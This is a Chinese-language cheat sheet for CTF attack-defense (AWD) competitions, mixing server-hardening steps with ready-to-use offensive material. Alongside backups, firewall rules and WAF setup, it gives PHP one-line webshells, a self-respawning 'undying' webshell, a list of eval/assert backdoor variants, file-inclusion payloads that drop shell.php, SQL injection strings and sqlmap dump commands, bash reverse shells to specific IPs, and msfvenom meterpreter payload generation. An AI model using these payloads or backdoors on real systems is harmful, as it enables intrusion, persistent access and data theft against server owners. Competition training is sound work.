CTF基础知识 && AWD红蓝对抗
AWD
备份源码,修改账户密码,查看是否有预留后门然后删掉
修改mysql密码
格式:mysqladmin -u用户名 -p旧密码 password 新密码
例子:mysqladmin -uroot -p 123456 password 123
MySQL 完全备份和恢复
备份某—个数据库: mysqldump -u Username -p Password 数据库名 > /root/XXX.bak
会将指定的数据库备份至roo家目录下,文件名为XXX.bak
恢复: mysql -u Username -p Password 数据库名 < /root/XXX.bak
一句话木马
<?php @eval($_REQUEST['pass']); ?> <%eval request("pass")%> <?php @eval($_POST['c']); ?>
权限维持:1.不死马, 2. nc反弹shell nc -lp 9999
ps auxww|grep shell.php 找到pid后杀掉进程就可以
修改ssh文件 vim /etc/ssh/sshd_config PermitRootLogin no
最后面加AllowUsers liu liu1
linux修改文件所有者和文件所在组
chgrp 用户名 文件名 -R
chown 用户名 文件名 -R
chmod -R 777 /var/home/userid/cc
1查看端口
netstat -tunpl netstat -tunpl | grep 23 (查看是否打开23端口)
2. 查看端口对应的应用程序
lsof -i:xxx 查进程 ps aux
3. 关闭端口
【iptable】
sudo iptables -A INPUT -p tcp --dport $PORT -j DROP"
sudo iptables -A OUTPUT -p tcp --dport $PORT -j DROP"
【kill】
Ps -aux
kill -9 PID" (PID:进程号)
sudo /etc/init.d/apache2 restart
一.防御策略
命令注入漏洞
a)例 str1 = $_POST[‘cmd’],在str1 前连接 字符”#”注释字符,str1 = “#”. $_POST[‘cmd’]
b)
上传文件漏洞
a)注释上传写入代码.
b)
文件包含漏洞
a) 修改php.ini文件
allow_url_fopen on
allow_url_include on
修改为
allow_url_fopen off
allow_url_include off
b)
远程代码执行漏洞
a) 注释危险函数:system() exec_shell() eval() assert() create_function() preg_replace() file_put_contents()
b)
缓冲区溢出漏洞
a) 目前参考”7.Linux权限漏洞”,进行防御.
b)
系统后门漏洞
a) 直接删除后门程序
b) “Ps –ef|grep bash”命令查看是否有bash后门程序
c) “ss -ltnp”命令查看,是否有后门程序监听端口
d) 从上两个步骤找到该程序pid,用”kill pid”命令结束后门bash程序
e) 在web网站目录下,查看文件内容找到webshell或一句话木马,进行删除文件或注释代码
f)
Linux权限漏洞
a)“PS –ef|grep httpd”命令查看 Apache服务是否是root执行该服务,若是修改/etc/httpd/httpd.conf 文件找到”user” “group”字段后加上apache apache,重启httpd服务。使Apache服务是apache用户执行该服务.
b) 修改/bin/cat /bin/echo等关键命令二进制文件,改成其名称,让其攻击者无法利用bash读取flag文件内容.
1.防XSS
利用strip_tags()函数过滤字符串中的 HTML 标签;
利用htmlspecialchars()函数对敏感字符进行转换。
$message = mysql_real_escape_string($message);
作为body文本输出,作为html标签的属性输出:
比如:<span>${username}</span>, <p><c:out value="${username}"></c:out></p>
<input type="text" value="${username}" />
此时的转义规则如下:
< 转成 <
> 转成 >
& 转成 &
" 转成 "
' 转成 '
javascript事件
<input type="button" οnclick='go_to_url("${myUrl}");' />
除了上面的那些转义之外,还要附加上下面的转义:
\ 转成 \\
/ 转成 \/
; 转成 ;(全角;)
e) URL属性
如果 <script>, <style>, <imt> 等标签的 src 和 href 属性值为动态内容,那么要确保这些url没有执行恶意连接。
确保:href 和 src 的值必须以 http://开头,白名单方式;不能有10进制和16进制编码字符。
?:传参参数,代表是动态的
Title:传参函数名
:传参内容的值(这就是url编码解码后变成“个人简介”,一般反射型XSS的注入点)
f)上传waf
如果是框架写出的web就很好部署了,直接require在重写文件或者数据库文件中,如果是零散的php文件,那也有办法,如果是fastcgi(nginx,IIS比较常见)运行的php就在.user.ini加一句,具体百度一下.user.ini的后门,原理一样。其他情况也可以写个脚本强行在每个PHP前面加一句,脚本代码的样例也会放出来。(当然apache也可以.htaccess强行重写到waf再转回原页面,但是万一没重写环境呢)
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:
a).在所需要防护的页面加入代码
require_once('waf.php');
就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
b).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = waf.php路径;
上传waf
如果是框架写出的web就很好部署了,直接require在重写文件或者数据库文件中,如果是零散的php文件,那也有办法,如果是fastcgi(nginx,IIS比较常见)运行的php就在.user.ini加一句,具体百度一下.user.ini的后门,原理一样。其他情况也可以写个脚本强行在每个PHP前面加一句,脚本代码的样例也会放出来。(当然apache也可以.htaccess强行重写到waf再转回原页面,但是万一没重写环境呢)
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:
a).在所需要防护的页面加入代码
require_once('waf.php');
就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once('waf.php');来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
b).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = waf.php路径;
常见加固方式:
加固流程:
- 修改网站管理员密码
- 备份网站源码
- tar -zcf /tmp/name.tar.gz /path/web
- tar -zcf /tmp/name.tar.gz /var/www/html
- 备份数据库
- mysqldump -u 用户名 -p 数据库名 > 导出的文件名
- mysqldump -u user -p database > /tmp/database.sql
- 修改ssh密码(即修改当前用户密码)
- 修改MySQL密码
- set password for 用户名@localhost = password('新密码');
- set password for user@localhost = password('123');
- 修改MongoDB密码(27017端口)
- 修改Redis密码(6379端口)
- 修改网站源码中的数据库连接配置
- 部署waf(视情况而定)
文件监控
准备一个脚本,监控并删除所有新增文件。
发现内存马,直接重启php。
若监控脚本无法使用,使用命令定期查看新增与修改文件。
find web路径 -ctime -1 (查看最近一日新增的文件,是否可疑)
(1)用户登录,输入’测试存在sql注入点,万能密码 ' or 1='1 弱密码 admin/admin 火狐插件hackbar
select name,pass from tbAdmin where name='' or 1='1' and pass='123456'
(2)啊D扫描网站sql注入点,sqlmap注入,
比赛时Access数据库注入点:
http://10.1.14.1/ReadNews.asp?NewsID=20&BigClassID=2&SmallClassID=2
sqlmap -u "url" 查看系统,版本
sqlmap -u "url" --dbs 爆数据库
sqlmap -u "url" --tables -D ctf 爆表
sqlmap -u "url" --column -D ctf -T users 爆列
sqlmap -u "url" --dump -D ctf -T users "user_name,user_pass" 爆字段
网站数据库密码信息文件一般放在config.php中。
3.文件包含
(1)本地文件包含
localhost/a.php?file=/flag.txt
(2)远程文件包含
localhost/a.php?file=http:ip/echo.txt
利用,上传一句话木马
echo.txt 文件内容,会生成shell.php 内容为一句话木马。
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xx]);?>");?>
常见的文件包含函数,include(),include_once(),require(),require_once()
几种经典的测试方法:
?file=../../../../../etc/passwd 长目录截断
?page=file:///etc/passwd 读取敏感文件
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
4.越权访问 allow_url_fopen =ON, allow_url_include =ON
水平越权:修改id,访问他人
垂直越权:知道管理后台的url,通过访问,提升权限,获取数据。
/admin/upload/config.php 越权访问,无需登陆,直接显示
网站防御
上WAF,文件监控,安全狗,
在文件头写上,require_once(‘waf.php’);
可能存在flag的位置:
- 御剑扫描,双击网页打开,存在flag。
- ssh登陆,系统根目录下,/var/www/html下
- mysql数据库字段中。
- 远程主机桌面,文件夹下
一个针对php的web流量抓取,分析的应用。
可以发现ctf线下赛使用,也可以使用实际场景来抓web流量,分析攻击手段。
weblogger-master使用方法:
cd /var/www/html/ (or other web dir)
git clone https://github.com/wupco/weblogger.git
chmod -R 777 weblogger/
open http://xxxxx/weblogger/install.php in Web browser
install it
CTFDefense-CTFDefense
1.ctf-firewall.sh
iptables配置命令,可一键执行快速配置。使用时可能需要根据环境略微修改
2.commannd.md
一些线下赛中常用的linux操作命令
3.getRoot
一些本地提权poc,每个文件里都有详细的使用注释,编译好的文件在release目录下。还有几个实用脚本
4.显示器
一个简单的文件监控示例脚本,可以监控创建、删除、移动、属性修改操作,自动删除新增文件或目录。已使用pyinstaller打包成了linux可执行程序
5. WAF
linux版安全狗和几个waf脚本
nmap -nv ip n不要域名解析
nmap -sS ip SYN
nmap -T4 -A 高强度
python -c 'import pty;pty.spawn("/bin/bash")'
tar -zcf /tmp/xxx.tar.gz html
tar -xzvf /tmp/xxx.tar.gz
mysqldump –uxxx –pxxx dbname > xxx.sql
passwd
修改网站管理员密码
update users set password=md5(“xxxxxx”);
修改数据库密码
set password for 用户名@localhost = password('新密码');
bash -i >& /dev/tcp/10.51.4.222/8384 0>&1
bash -i >& /dev/tcp/10.11.23.226/5555 0>&1
/bin/bash -i &> /dev/tcp/10.51.4.222/8384 0>&1
echo "/bin/bash -i &> /dev/tcp/10.11.20.71/5555 0>&1" | /bin/bash
rm -rf /var/www/html/upload_lab/upload/*
zip:///var/www/html/upload/test.zip#test.php
http://123.206.174.251/include/2/?
op=zip://uploads/ea064516fe1e37af816bb52faa08eeb8589af4c0.png%23p
利用msf
msfvenom -p php/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=5555-f raw > 77778888.php
msfconsole:
use multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 5555
set ExitOnSession false
run -j
php不死马
caidao
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '/var/www/dvwa/.ski12.php';
$file = 'D:\\z_myweb\\phpStudy\\DVWA-master\\dvwa\\busi.php';
$code = '<?php if(md5($_GET["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@eval($_POST['a']);}?>';
while (1) {
file_put_contents($file, $code);
//system('touch -m -d "2018-12-01 09:10:12" .ski12.php');
usleep(5000);
}
后门
eval($_POST[“a”]);
assert($_POST[“a”]); 可以写成$a=“assert”;$a($_POST[a]);
array_filter(array($_POST[“a”]),”assert”);
preg_replace("/test/e",$_POST[“a"],"jutst test");
$func =create_function('',$_POST[‘a’]);$func();
echo array_map(“assert”, array($_POST[“a”]));
call_user_func("assert",$_POST['cmd’]);
call_user_func_array("assert", array($_POST[“a”]));
等等
删除不死马
kill -9 -1
kill -9 -1
linux新建用户
useradd -m username1
passwd username1
usermod -a -G sudo username1
防注入
addslashes
htmlspecialchars